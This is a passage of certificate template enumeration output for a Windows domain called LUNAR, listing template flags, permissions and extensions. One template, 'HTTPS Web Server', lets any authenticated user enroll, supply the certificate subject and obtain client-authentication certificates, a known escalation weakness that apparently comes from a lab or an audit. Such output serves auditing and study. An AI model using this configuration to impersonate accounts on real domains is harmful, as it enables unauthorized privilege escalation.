  1118.     1.3.6.1.5.5.7.3.4 Secure Email
  1120.   TemplatePropCryptoProviders =
  1121.     0: Microsoft Enhanced Cryptographic Provider v1.0
  1122.     1: Microsoft Base Cryptographic Provider v1.0
  1123.     2: Microsoft Base DSS Cryptographic Provider
  1125.   TemplatePropMajorRevision = 6
  1126.   TemplatePropDescription = User
  1127.   TemplatePropSchemaVersion = 1
  1128.   TemplatePropMinorRevision = 1
  1129.   TemplatePropRASignatureCount = 0
  1130.   TemplatePropMinimumKeySize = 800 (2048)
  1131.   TemplatePropOID =
  1132.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.24
  1134.   TemplatePropEnrollmentFlags = 0
  1136.   TemplatePropSubjectNameFlags = 1
  1137.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1139.   TemplatePropPrivateKeyFlags = 0
  1140.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1141.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1142.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1144.   TemplatePropGeneralFlags = 10201 (66049)
  1145.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1146.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  1147.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1149.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1151.     Allow Enroll    LUNAR\Domain Admins
  1152.     Allow Enroll    LUNAR\Enterprise Admins
  1153.     Allow Full Control    LUNAR\Domain Admins
  1154.     Allow Full Control    LUNAR\Enterprise Admins
  1155.     Allow Read    NT AUTHORITY\Authenticated Users
  1158.   TemplatePropExtensions =
  1159. 3 Extensions:
  1161.   Extension[0]:
  1162.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 2c
  1163.     Certificate Template Name (Certificate Type)
  1164.         ExchangeUserSignature
  1166.   Extension[1]:
  1167.     2.5.29.37: Flags = 0, Length = c
  1168.     Enhanced Key Usage
  1169.         Secure Email (1.3.6.1.5.5.7.3.4)
  1171.   Extension[2]:
  1172.     2.5.29.15: Flags = 1(Critical), Length = 4
  1173.     Key Usage
  1174.         Digital Signature (80)
  1176.   TemplatePropValidityPeriod = 1 Years
  1177.   TemplatePropRenewalPeriod = 6 Weeks
  1179.   Template[16]:
  1180.   TemplatePropCommonName = ExchangeUser
  1181.   TemplatePropFriendlyName = Exchange User
  1182.   TemplatePropEKUs =
  1183. 1 ObjectIds:
  1184.     1.3.6.1.5.5.7.3.4 Secure Email
  1186.   TemplatePropCryptoProviders =
  1187.     0: Microsoft Enhanced Cryptographic Provider v1.0
  1188.     1: Microsoft Base Cryptographic Provider v1.0
  1190.   TemplatePropMajorRevision = 7
  1191.   TemplatePropDescription = User
  1192.   TemplatePropSchemaVersion = 1
  1193.   TemplatePropMinorRevision = 1
  1194.   TemplatePropRASignatureCount = 0
  1195.   TemplatePropMinimumKeySize = 800 (2048)
  1196.   TemplatePropOID =
  1197.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.23
  1199.   TemplatePropEnrollmentFlags = 1
  1200.     CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
  1202.   TemplatePropSubjectNameFlags = 1
  1203.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1205.   TemplatePropPrivateKeyFlags = 10 (16)
  1206.     CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
  1207.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1208.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1209.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1211.   TemplatePropGeneralFlags = 10211 (66065)
  1212.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1213.     CT_FLAG_EXPORTABLE_KEY -- 10 (16)
  1214.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  1215.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1217.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1219.     Allow Enroll    LUNAR\Domain Admins
  1220.     Allow Enroll    LUNAR\Enterprise Admins
  1221.     Allow Full Control    LUNAR\Domain Admins
  1222.     Allow Full Control    LUNAR\Enterprise Admins
  1223.     Allow Read    NT AUTHORITY\Authenticated Users
  1226.   TemplatePropExtensions =
  1227. 3 Extensions:
  1229.   Extension[0]:
  1230.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 1a
  1231.     Certificate Template Name (Certificate Type)
  1232.         ExchangeUser
  1234.   Extension[1]:
  1235.     2.5.29.37: Flags = 0, Length = c
  1236.     Enhanced Key Usage
  1237.         Secure Email (1.3.6.1.5.5.7.3.4)
  1239.   Extension[2]:
  1240.     2.5.29.15: Flags = 1(Critical), Length = 4
  1241.     Key Usage
  1242.         Key Encipherment (20)
  1244.   TemplatePropValidityPeriod = 1 Years
  1245.   TemplatePropRenewalPeriod = 6 Weeks
  1247.   Template[17]:
  1248.   TemplatePropCommonName = HTTPSWebServer
  1249.   TemplatePropFriendlyName = HTTPS Web Server
  1250.   TemplatePropEKUs =
  1251. 1 ObjectIds:
  1252.     1.3.6.1.5.5.7.3.2 Client Authentication
  1254.   TemplatePropCryptoProviders =
  1255.     0: Microsoft RSA SChannel Cryptographic Provider
  1256.     1: Microsoft DH SChannel Cryptographic Provider
  1258.   TemplatePropMajorRevision = 64 (100)
  1259.   TemplatePropDescription = Computer
  1260.   TemplatePropSchemaVersion = 2
  1261.   TemplatePropMinorRevision = d (13)
  1262.   TemplatePropRASignatureCount = 0
  1263.   TemplatePropMinimumKeySize = 800 (2048)
  1264.   TemplatePropOID =
  1265.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.8824417.6496437 HTTPS Web Server
  1267.   TemplatePropV1ApplicationPolicy =
  1268. 1 ObjectIds:
  1269.     1.3.6.1.5.5.7.3.2 Client Authentication
  1271.   TemplatePropEnrollmentFlags = 8
  1272.     CT_FLAG_PUBLISH_TO_DS -- 8
  1274.   TemplatePropSubjectNameFlags = 1
  1275.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1277.   TemplatePropPrivateKeyFlags = 5050010 (84213776)
  1278.     CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
  1279.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1280.     TEMPLATE_SERVER_VER_WINBLUE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 50000 (327680)
  1281.     TEMPLATE_CLIENT_VER_WINBLUE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 5000000 (83886080)
  1283.   TemplatePropGeneralFlags = 20241 (131649)
  1284.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1285.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  1286.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  1287.     CT_FLAG_IS_MODIFIED -- 20000 (131072)
  1289.   TemplatePropSecurityDescriptor = O:LAG:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(OA;;CR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;AU)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;LA)(A;;LCRPLORC;;;AU)
  1291.     Allow Enroll    LUNAR\Domain Admins
  1292.     Allow Enroll    LUNAR\Enterprise Admins
  1293.     Allow Enroll    NT AUTHORITY\Authenticated Users
  1294.     Allow Full Control    LUNAR\Domain Admins
  1295.     Allow Full Control    LUNAR\Enterprise Admins
  1296.     Allow Full Control    LUNAR\Administrator
  1297.     Allow Read    NT AUTHORITY\Authenticated Users
  1300.   TemplatePropExtensions =
  1301. 4 Extensions:
  1303.   Extension[0]:
  1304.     1.3.6.1.4.1.311.21.7: Flags = 0, Length = 31
  1305.     Certificate Template Information
  1306.         Template=HTTPS Web Server(1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.8824417.6496437)
  1307.         Major Version Number=100
  1308.         Minor Version Number=13
  1310.   Extension[1]:
  1311.     2.5.29.37: Flags = 0, Length = c
  1312.     Enhanced Key Usage
  1313.         Client Authentication (1.3.6.1.5.5.7.3.2)
  1315.   Extension[2]:
  1316.     2.5.29.15: Flags = 1(Critical), Length = 4
  1317.     Key Usage
  1318.         Digital Signature, Key Encipherment (a0)
  1320.   Extension[3]:
  1321.     1.3.6.1.4.1.311.21.10: Flags = 0, Length = e
  1322.     Application Policies
  1323.         [1]Application Certificate Policy:
  1324.              Policy Identifier=Client Authentication
  1326.   TemplatePropValidityPeriod = 2 Years
  1327.   TemplatePropRenewalPeriod = 6 Weeks
  1329.   Template[18]:
  1330.   TemplatePropCommonName = IPSECIntermediateOnline
  1331.   TemplatePropFriendlyName = IPSec
  1332.   TemplatePropEKUs =
  1333. 1 ObjectIds:
  1334.     1.3.6.1.5.5.8.2.2 IP security IKE intermediate
  1336.   TemplatePropCryptoProviders =
  1337.     0: Microsoft RSA SChannel Cryptographic Provider
  1339.   TemplatePropMajorRevision = 8
  1340.   TemplatePropDescription = Computer
  1341.   TemplatePropSchemaVersion = 1
  1342.   TemplatePropMinorRevision = 1
  1343.   TemplatePropRASignatureCount = 0
  1344.   TemplatePropMinimumKeySize = 800 (2048)
  1345.   TemplatePropOID =
  1346.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.19
  1348.   TemplatePropEnrollmentFlags = 20 (32)
  1349.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  1351.   TemplatePropSubjectNameFlags = 18000000 (402653184)
  1352.     CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728)
  1353.     CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN -- 10000000 (268435456)
  1355.   TemplatePropPrivateKeyFlags = 0
  1356.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1357.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1358.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1360.   TemplatePropGeneralFlags = 10260 (66144)
  1361.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  1362.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  1363.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  1364.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1366.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DC)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DD)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1368.     Allow Enroll    LUNAR\Domain Admins
  1369.     Allow Enroll    LUNAR\Domain Computers
  1370.     Allow Enroll    LUNAR\Domain Controllers
  1371.     Allow Enroll    LUNAR\Enterprise Admins
  1372.     Allow Full Control    LUNAR\Domain Admins
  1373.     Allow Full Control    LUNAR\Enterprise Admins
  1374.     Allow Read    NT AUTHORITY\Authenticated Users
  1377.   TemplatePropExtensions =
  1378. 3 Extensions:
  1380.   Extension[0]:
  1381.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 30
  1382.     Certificate Template Name (Certificate Type)
  1383.         IPSECIntermediateOnline
  1385.   Extension[1]:
  1386.     2.5.29.37: Flags = 0, Length = c
  1387.     Enhanced Key Usage
  1388.         IP security IKE intermediate (1.3.6.1.5.5.8.2.2)
  1390.   Extension[2]:
  1391.     2.5.29.15: Flags = 1(Critical), Length = 4
  1392.     Key Usage
  1393.         Digital Signature, Key Encipherment (a0)
  1395.   TemplatePropValidityPeriod = 2 Years
  1396.   TemplatePropRenewalPeriod = 6 Weeks
  1398.   Template[19]:
  1399.   TemplatePropCommonName = IPSECIntermediateOffline
  1400.   TemplatePropFriendlyName = IPSec (Offline request)
  1401.   TemplatePropEKUs =
  1402. 1 ObjectIds:
  1403.     1.3.6.1.5.5.8.2.2 IP security IKE intermediate
  1405.   TemplatePropCryptoProviders =
  1406.     0: Microsoft RSA SChannel Cryptographic Provider
  1408.   TemplatePropMajorRevision = 7
  1409.   TemplatePropDescription = Computer
  1410.   TemplatePropSchemaVersion = 1
  1411.   TemplatePropMinorRevision = 1
  1412.   TemplatePropRASignatureCount = 0
  1413.   TemplatePropMinimumKeySize = 800 (2048)
  1414.   TemplatePropOID =
  1415.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.20
  1417.   TemplatePropEnrollmentFlags = 0
  1419.   TemplatePropSubjectNameFlags = 1
  1420.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1422.   TemplatePropPrivateKeyFlags = 0
  1423.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1424.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1425.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1427.   TemplatePropGeneralFlags = 10241 (66113)
  1428.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1429.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  1430.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  1431.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1433.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1435.     Allow Enroll    LUNAR\Domain Admins
  1436.     Allow Enroll    LUNAR\Enterprise Admins
  1437.     Allow Full Control    LUNAR\Domain Admins
  1438.     Allow Full Control    LUNAR\Enterprise Admins
  1439.     Allow Read    NT AUTHORITY\Authenticated Users
  1442.   TemplatePropExtensions =
  1443. 3 Extensions:
  1445.   Extension[0]:
  1446.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 32
  1447.     Certificate Template Name (Certificate Type)
  1448.         IPSECIntermediateOffline
  1450.   Extension[1]:
  1451.     2.5.29.37: Flags = 0, Length = c
  1452.     Enhanced Key Usage
  1453.         IP security IKE intermediate (1.3.6.1.5.5.8.2.2)
  1455.   Extension[2]:
  1456.     2.5.29.15: Flags = 1(Critical), Length = 4
  1457.     Key Usage
  1458.         Digital Signature, Key Encipherment (a0)
  1460.   TemplatePropValidityPeriod = 2 Years
  1461.   TemplatePropRenewalPeriod = 6 Weeks
  1463.   Template[20]:
  1464.   TemplatePropCommonName = KerberosAuthentication
  1465.   TemplatePropFriendlyName = Kerberos Authentication
  1466.   TemplatePropEKUs =
  1467. 4 ObjectIds:
  1468.     1.3.6.1.5.5.7.3.2 Client Authentication
  1469.     1.3.6.1.5.5.7.3.1 Server Authentication
  1470.     1.3.6.1.4.1.311.20.2.2 Smart Card Logon
  1471.     1.3.6.1.5.2.3.5 KDC Authentication
  1473.   TemplatePropCryptoProviders =
  1474.     0: Microsoft RSA SChannel Cryptographic Provider
  1476.   TemplatePropMajorRevision = 6e (110)
  1477.   TemplatePropDescription = Computer
  1478.   TemplatePropSchemaVersion = 2
  1479.   TemplatePropMinorRevision = 0
  1480.   TemplatePropRASignatureCount = 0
  1481.   TemplatePropMinimumKeySize = 800 (2048)
  1482.   TemplatePropOID =
  1483.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.33 Kerberos Authentication
  1485.   TemplatePropV1ApplicationPolicy =
  1486. 4 ObjectIds:
  1487.     1.3.6.1.5.5.7.3.2 Client Authentication
  1488.     1.3.6.1.5.5.7.3.1 Server Authentication
  1489.     1.3.6.1.4.1.311.20.2.2 Smart Card Logon
  1490.     1.3.6.1.5.2.3.5 KDC Authentication
  1492.   TemplatePropEnrollmentFlags = 20 (32)
  1493.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  1495.   TemplatePropSubjectNameFlags = 8400000 (138412032)
  1496.     CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS -- 400000 (4194304)
  1497.     CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728)
  1499.   TemplatePropPrivateKeyFlags = 0
  1500.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1501.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1502.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1504.   TemplatePropGeneralFlags = 10060 (65632)
  1505.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  1506.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  1507.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1509.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-498)(OA;;RPCR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;S-1-5-21-3330634377-1326264276-632209373-498)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DD)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(OA;;RPWPCR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;DD)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;ED)(OA;;RPWPCR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;ED)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1511.     Allow Enroll    LUNAR\Enterprise Read-only Domain Controllers
  1512.     Allow Auto-Enroll    LUNAR\Enterprise Read-only Domain Controllers
  1513.     Allow Enroll    LUNAR\Domain Admins
  1514.     Allow Enroll    LUNAR\Domain Controllers
  1515.     Allow Enroll    LUNAR\Enterprise Admins
  1516.     Allow Auto-Enroll    LUNAR\Domain Controllers
  1517.     Allow Enroll    NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
  1518.     Allow Auto-Enroll    NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
  1519.     Allow Full Control    LUNAR\Domain Admins
  1520.     Allow Full Control    LUNAR\Enterprise Admins
  1521.     Allow Read    NT AUTHORITY\Authenticated Users
  1524.   TemplatePropExtensions =
  1525. 4 Extensions:
  1527.   Extension[0]:
  1528.     1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2b
  1529.     Certificate Template Information
  1530.         Template=Kerberos Authentication(1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.33)
  1531.         Major Version Number=110
  1532.         Minor Version Number=0
  1534.   Extension[1]:
  1535.     2.5.29.37: Flags = 0, Length = 2b
  1536.     Enhanced Key Usage
  1537.         Client Authentication (1.3.6.1.5.5.7.3.2)
  1538.         Server Authentication (1.3.6.1.5.5.7.3.1)
  1539.         Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
  1540.         KDC Authentication (1.3.6.1.5.2.3.5)
  1542.   Extension[2]:
  1543.     2.5.29.15: Flags = 1(Critical), Length = 4
  1544.     Key Usage
  1545.         Digital Signature, Key Encipherment (a0)
  1547.   Extension[3]:
  1548.     1.3.6.1.4.1.311.21.10: Flags = 0, Length = 33
  1549.     Application Policies
  1550.         [1]Application Certificate Policy:
  1551.              Policy Identifier=Client Authentication
  1552.         [2]Application Certificate Policy:
  1553.              Policy Identifier=Server Authentication
  1554.         [3]Application Certificate Policy:
  1555.              Policy Identifier=Smart Card Logon
  1556.         [4]Application Certificate Policy:
  1557.              Policy Identifier=KDC Authentication
  1559.   TemplatePropValidityPeriod = 1 Years
  1560.   TemplatePropRenewalPeriod = 6 Weeks
  1562.   Template[21]:
  1563.   TemplatePropCommonName = KeyRecoveryAgent
  1564.   TemplatePropFriendlyName = Key Recovery Agent
  1565.   TemplatePropEKUs =
  1566. 1 ObjectIds:
  1567.     1.3.6.1.4.1.311.21.6 Key Recovery Agent
  1569.   TemplatePropCryptoProviders =
  1570.     0: Microsoft Enhanced Cryptographic Provider v1.0
  1572.   TemplatePropMajorRevision = 69 (105)
  1573.   TemplatePropDescription = Key recovery agent
  1574.   TemplatePropSchemaVersion = 2
  1575.   TemplatePropMinorRevision = 0
  1576.   TemplatePropRASignatureCount = 0
  1577.   TemplatePropMinimumKeySize = 800 (2048)
  1578.   TemplatePropOID =
  1579.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.27 Key Recovery Agent
  1581.   TemplatePropV1ApplicationPolicy =
  1582. 1 ObjectIds:
  1583.     1.3.6.1.4.1.311.21.6 Key Recovery Agent
  1585.   TemplatePropEnrollmentFlags = 27 (39)
  1586.     CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
  1587.     CT_FLAG_PEND_ALL_REQUESTS -- 2
  1588.     CT_FLAG_PUBLISH_TO_KRA_CONTAINER -- 4
  1589.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  1591.   TemplatePropSubjectNameFlags = 82000000 (-2113929216)
  1592.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  1593.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  1595.   TemplatePropPrivateKeyFlags = 10 (16)
  1596.     CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
  1597.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1598.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1599.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1601.   TemplatePropGeneralFlags = 10020 (65568)
  1602.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  1603.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1605.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1607.     Allow Enroll    LUNAR\Domain Admins
  1608.     Allow Enroll    LUNAR\Enterprise Admins
  1609.     Allow Full Control    LUNAR\Domain Admins
  1610.     Allow Full Control    LUNAR\Enterprise Admins
  1611.     Allow Read    NT AUTHORITY\Authenticated Users
  1614.   TemplatePropExtensions =
  1615. 4 Extensions:
  1617.   Extension[0]:
  1618.     1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2b
  1619.     Certificate Template Information
  1620.         Template=Key Recovery Agent(1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.27)
  1621.         Major Version Number=105
  1622.         Minor Version Number=0
  1624.   Extension[1]:
  1625.     2.5.29.37: Flags = 0, Length = d
  1626.     Enhanced Key Usage
  1627.         Key Recovery Agent (1.3.6.1.4.1.311.21.6)
  1629.   Extension[2]:
  1630.     2.5.29.15: Flags = 1(Critical), Length = 4
  1631.     Key Usage
  1632.         Key Encipherment (20)
  1634.   Extension[3]:
  1635.     1.3.6.1.4.1.311.21.10: Flags = 0, Length = f
  1636.     Application Policies
  1637.         [1]Application Certificate Policy:
  1638.              Policy Identifier=Key Recovery Agent
  1640.   TemplatePropValidityPeriod = 2 Years
  1641.   TemplatePropRenewalPeriod = 6 Weeks
  1643.   Template[22]:
  1644.   TemplatePropCommonName = OCSPResponseSigning
  1645.   TemplatePropFriendlyName = OCSP Response Signing
  1646.   TemplatePropEKUs =
  1647. 1 ObjectIds:
  1648.     1.3.6.1.5.5.7.3.9 OCSP Signing
  1650.   TemplatePropMajorRevision = 65 (101)
  1651.   TemplatePropDescription = Computer
  1652.   TemplatePropSchemaVersion = 3
  1653.   TemplatePropMinorRevision = 0
  1654.   TemplatePropRASignatureCount = 0
  1655.   TemplatePropMinimumKeySize = 800 (2048)
  1656.   TemplatePropOID =
  1657.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.32 OCSP Response Signing
  1659.   TemplatePropV1ApplicationPolicy =
  1660. 1 ObjectIds:
  1661.     1.3.6.1.5.5.7.3.9 OCSP Signing
  1663.   TemplatePropAsymmetricAlgorithm = RSA
  1664.   TemplatePropKeySecurityDescriptor = D:P(A;;FA;;;BA)(A;;FA;;;SY)(A;;GR;;;S-1-5-80-3804348527-3718992918-2141599610-3686422417-2726379419)
  1666.     Allow Write    BUILTIN\Administrators
  1667.     Allow Write    NT AUTHORITY\SYSTEM
  1668.     Allow Read    S-1-5-80-3804348527-3718992918-2141599610-3686422417-2726379419
  1671.   TemplatePropHashAlgorithm = SHA1
  1672.   TemplatePropKeyUsage = 2
  1673.   TemplatePropEnrollmentFlags = 5000 (20480)
  1674.     CT_FLAG_ADD_OCSP_NOCHECK -- 1000 (4096)
  1675.     CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS -- 4000 (16384)
  1677.   TemplatePropSubjectNameFlags = 18000000 (402653184)
  1678.     CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728)
  1679.     CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN -- 10000000 (268435456)
  1681.   TemplatePropPrivateKeyFlags = 0
  1682.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1683.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1684.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1686.   TemplatePropGeneralFlags = 10240 (66112)
  1687.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  1688.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  1689.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
